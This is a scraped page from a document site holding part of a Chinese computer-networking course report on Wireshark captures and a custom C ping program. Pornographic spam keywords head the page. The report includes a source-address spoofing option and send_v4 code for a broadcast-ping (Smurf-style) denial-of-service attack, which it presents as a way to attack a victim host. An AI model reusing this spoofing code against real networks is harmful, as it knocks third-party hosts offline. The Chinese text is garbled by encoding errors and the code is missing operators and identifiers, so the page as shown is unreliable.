freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

計算機網(wǎng)絡(luò)課程設(shè)計(1)-資料下載頁

2025-06-04 15:16本頁面
  

【正文】 樣在發(fā)送的數(shù)據(jù)包的數(shù)量到達指定的數(shù)量的時候,我們的程序就去自動調(diào)用停止函數(shù) readloopstop,此函數(shù)實現(xiàn)如下: Void readloopstop(int signo) { printf(\n**************Ping statistics for %s****************\n%d packets transmitted, %d packets received, %%% packet loss \n\ roundtrip min/avg/max = %ms\n\n,host,send_pk_num,recv_pk_num,((double)(send_pk_numrecv_pk_num)/(double)send_pk_num)*100,min_rtt,total_rtt/recv_pk_num,max_rtt)。 exit(1)。 } 發(fā)送每個數(shù)據(jù)包之間的空閑時間 在我們的 ping 程序執(zhí)行的時候,有的時候,我們會感覺輸出的太快啦,來不及仔細的參看,其實這不是輸出的太快,而其實質(zhì)是發(fā)送的數(shù)據(jù)包太快啦,使得接受的數(shù)據(jù)包源源不斷的來,最終造成輸出的信息非??臁? 所以,我們加了 i 選項,在它之后加一個數(shù)字的參數(shù),指定發(fā)送每個包之間的間隔時間是多少。 具體的實現(xiàn)如下: 在處理命令行部分加入如下代碼 : case 39。i39。: delay=atoi(optarg)。 if(delay0) err_quit(The delay value is too small! It must bigger than 0!)。 delay 代表著發(fā)送每個包之間的間隔時間,以秒為單位。 在 SIGALARM 信號的處理函數(shù)中加入如下代碼: alarm(delay)。 這樣發(fā)送每個包的時間間隔就是用于指定的延遲啦。 發(fā)送指定大小的數(shù)據(jù)包 有的時候我們?yōu)榱藴y試網(wǎng)絡(luò)的暢通性,需要發(fā)送大一點兒的數(shù)據(jù)包,而不是默認的 56 字節(jié),所以,我們得有一個選項可以讓用戶設(shè)定 發(fā)送的數(shù)據(jù)包的大小,如果不設(shè)定,就是默認的 56 字節(jié)。 因此,我們設(shè)計了 s 選項,在它的后面加一個數(shù)字的參數(shù),指定要發(fā)送的數(shù)據(jù)包的大小。因為 ip 頭部中有一個字段是記錄著整個包的大小,而他是 2個字節(jié),再有就是還有 ip頭自身的大小,所以整個參數(shù)最大的設(shè)置值為 65400。又因為在網(wǎng)絡(luò)中有 MTU 的概念,也就是能單獨發(fā)送的包的最大值由整個這條網(wǎng)絡(luò)中的最小包大小決定,我們的這個 MTU 為 1500,而且大部分一般都為 1500,所以,在不拆分分組的情況下的最大值是 1472。最小值當然是 8 了,因為我們得用它來記錄這個分組發(fā)送的時 候的時間。 具體實現(xiàn)如下: 在處理命令行函數(shù)中加入如下代碼: case 39。s39。: datalen=atoi(optarg)。 if(datalen8) err_quit(The datalen value is too small! It must bigger than 8!)。 else if(datalen 1472 amp。amp。 datalen 65400) printf(The datalen value is bigger than MTU(1500),so you may not be sucess!\n)。 else if(datalen 65399) err_quit(The datalen value is too big!)。 break。 這樣 datalen 的值就變成了用戶期待的那個數(shù)據(jù)包的大小了。 改變服務(wù)類型 在不同的應(yīng)用中,我們常常需要不同的服務(wù)類型,例如在 ftp 下我們就需要最大吞吐量的類型,在 tel 下我們就需要最小延遲的類型。 所以,我們設(shè)計了 o 的選項,在它后面加一個數(shù)字的參數(shù) ,指定要用到得類型,然后我們的程序就根據(jù)這個參數(shù)去對自己進行優(yōu)化,使我們的程序運行的更符合用戶的要求。 具體實現(xiàn)如下: 在命令行處理函數(shù)中加入如下代碼: case 39。o39。: temp=atoi(optarg)。 if(temp3 |temp0) err_quit(The server type is not exist!)。 server_type=server_types[atoi(optarg)]。 en_server_type=1。 break。 server_type 記錄著用戶指定的類型,在后面調(diào)用 setscketopt 函數(shù)對所創(chuàng)建的套接字進行設(shè)置。 在 readloop 函數(shù)中,加入如下代碼: if(en_server_type) setsockopt(sockfd,IPPROTO_IP,IP_TOS,amp。server_type,sizeof(int))。 這樣對類型的設(shè)置就完成啦。 偽造源地址進行 DOS 攻擊 我們都知道可以給你一個廣播地址發(fā)送一個回射請求,這樣所有處于這個廣播地址的局域網(wǎng)中的電腦都會給源主機發(fā)一個回射響應(yīng),要是這個局域網(wǎng)非 常龐大的話,那么這個回應(yīng)的數(shù)量就是非??植赖?,那么就可以對這臺源電腦造成非常大的攻擊。我們可以通過這個選項將我們的 ip地址換成要攻擊的主機的 ip地址,然后向一個廣播地址發(fā)請求,這樣就可以起到攻擊的作用。 所以,我們設(shè)計的 r選項,在它的后面加一個 ip 地址,指定要替換為的攻擊目標的 ip地址。 集體實現(xiàn)如下: 在命令行處理函數(shù)中加入如下代碼: case 39。r39。: i_aton(optarg,amp。)。 en_false_source_addr=1。 break。 這樣, 中就存放好了要攻擊的電腦的 ip 地址。 改寫發(fā)送數(shù)據(jù)包的函數(shù)如下: Void send_v4(void) { int len。 int head_len。 struct icmp *icmp。 struct ip *ip。 if(en_false_source_addr) { head_len=sizeof(struct ip)+ sizeof(struct icmp)。 ip=(struct ip *)sendbuf。 ipip_v=IPVERSION。 ipip_hl=sizeof(struct ip) 2。 ipip_tos=server_type。 ipip_len=head_len+datalen。 ipip_id=0。 ipip_off=0。 ipip_ttl=ttl。 ipip_p=IPPROTO_ICMP。 ipip_sum=0。 ip=i_addr(prsasendsa_data)。 ip=。 icmp= (struct icmp *)(sendbuf+sizeof(struct ip))。 } else icmp = (struct icmp *) sendbuf。 icmpicmp_type = ICMP_ECHO。 icmpicmp_code = 0。 icmpicmp_id = pid。 icmpicmp_seq = nsent++。 gettimeofday((struct timeval *) icmpicmp_data, NULL)。 len = 8 + datalen。 /* checksum ICMP header and data */ icmpicmp_cksum = 0。 icmpicmp_cksum = in_cksum((u_short *) icmp, len)。 if(en_false_source_addr) len+=sizeof(struct ip)。 sendto(sockfd, sendbuf, len, 0, prsasend, prsalen)。 } 這樣就完成了修改源 ip地址的所有工作,我們就可以對目標主機進行攻擊啦。 七、實驗數(shù)據(jù)、結(jié)果分析 實驗一的結(jié)果分析 在實驗一中做的實驗大部分是在運用抓包工具 wireshark 的各項功能,所以大部分的實驗數(shù)據(jù)與結(jié)果都是圖片,在下面就將采用數(shù)據(jù)結(jié)果圖配合 分析描述的方法進行介紹實驗產(chǎn)生的數(shù)據(jù)與實驗說的出的結(jié)果。 抓包工具 wireshark 啟動并設(shè)置網(wǎng)卡為混雜模式 上面就是我們的工具程序的主界面和網(wǎng)卡設(shè)置對話框的主界面,在設(shè)置對話框的左上部分有一個 Capture packets in promiscuous mode 的選項,這個被選中就是表示把這塊網(wǎng)卡設(shè)置為混雜模式。 捕獲數(shù)據(jù)包 這時便開始獲取數(shù)據(jù)包了,在狀態(tài)欄我們可以看到現(xiàn)在接受到多少個包和當前顯示了多少了。 編寫過濾語句篩選數(shù)據(jù)包 這是在訪問百度主頁之前的抓包 ,顯示沒有。 這是在我們用瀏覽器訪問了一下百度主頁后的數(shù)據(jù)包篩選結(jié)果,可以看到已經(jīng)有好幾個數(shù)據(jù)包被用來我們的主機與百度主頁之間的通信了。從這兩個的對比可以看出用過濾語句對所抓的包進行過濾是多么好的一個技術(shù)。 對多種協(xié)議數(shù)據(jù)包進行分析 IP報文: 版本: 4 頭長度: 20bytes 服務(wù)類型: 0x00 總長度: 40 標識: 0x6d17 標志: 0x02 片偏移: 0 生存時間: 54 協(xié)議: TCP( 6) 頭校驗和: 0x979a 源 IP 地址: 目的 IP 地址: THERNET II 報文: 目標地址 : Quantami_10:52:8d(20:7c:8f:10:52:8b) 源地址 : TpLinkT_27:80:d4(e0:05:c5:27:80:d4) 類型 : IP(0x0800) UDP報文: UDP源端口: capioverlan(1147) UDP目的端口: 33674(33674) 長度: 28 UDP校驗和: 0x82a6 數(shù)據(jù) Data: 100000002c31b691ac4f7612341316fb198bb732 TCP報文: 源端口號 : (80) 目的端口 : imyx(1143) 順序號字段: 57288 確認號字段: 604 頭部長度 : 20bytes 保留域 : 0x11(FIN,ACK) 窗口大小 : 7168 TCP 校驗和 : 0xba44 ICMP 報文: 類型: 8 (Echo (ping) request) ping 請求 代號: 0 ( ) 校驗和: 0x3d5c ID:0x0200 包序號: 3584 (0x0e00) 數(shù)據(jù)包信息的統(tǒng)計 這是沒有過濾條件的統(tǒng)計,所以也就是統(tǒng)計所有抓到得包。 這是統(tǒng)計所以 ipv4 的數(shù)據(jù)包的信息。 實驗二 Ping 程序的 結(jié)果分析 發(fā)送指定數(shù)量得包后停止 此處設(shè)置了發(fā)送 5 次。 發(fā)送每個數(shù)據(jù)包之間的空閑時間 這時設(shè)置的是每兩秒發(fā)送一個,顯然屏幕輸出的接收信息也變成每兩秒打印一次。 處理接收到得所有類型的數(shù)據(jù)包 發(fā)送時指定生命值 第一個設(shè)置為 20 跳的時候,有返回,說明到百度的服務(wù)器之間需要路由小于等于 10次,第二次 設(shè)置為 19跳的時候,就沒有返回啦,說明到百度的服務(wù)器之間需要路由大于等于 19 次,所以就可以知道到百度的服務(wù)器之間需要路由 20次。 向廣播地址發(fā)送回射請求 啟用安靜模式 加上 q 選項就開啟了安靜模式,這種模式下屏幕不會把所有接收到得數(shù)據(jù)包的分析結(jié)果都打印出來,而只是在最后打印統(tǒng)計信息。 設(shè)置數(shù)據(jù)包大小 設(shè)置服務(wù)類型 偽裝源地址 第一個是把自己的源地址設(shè)置為源地址,那樣就可以返回來,第二個是把另外一個源地址設(shè)置為源地址就不會返回發(fā)送的包了,包就返回給我們設(shè) 置的地址了。這樣 ping 一個大的廣播地址就可以造成 DOS 攻擊,可以讓一個主機陷入繁忙的回射回應(yīng)的處理中,而不能正常運行。 顯示幫助 不加任何選項的 ping
點擊復(fù)制文檔內(nèi)容
畢業(yè)設(shè)計相關(guān)推薦
文庫吧 www.dybbs8.com
備案圖鄂ICP備17016276號-1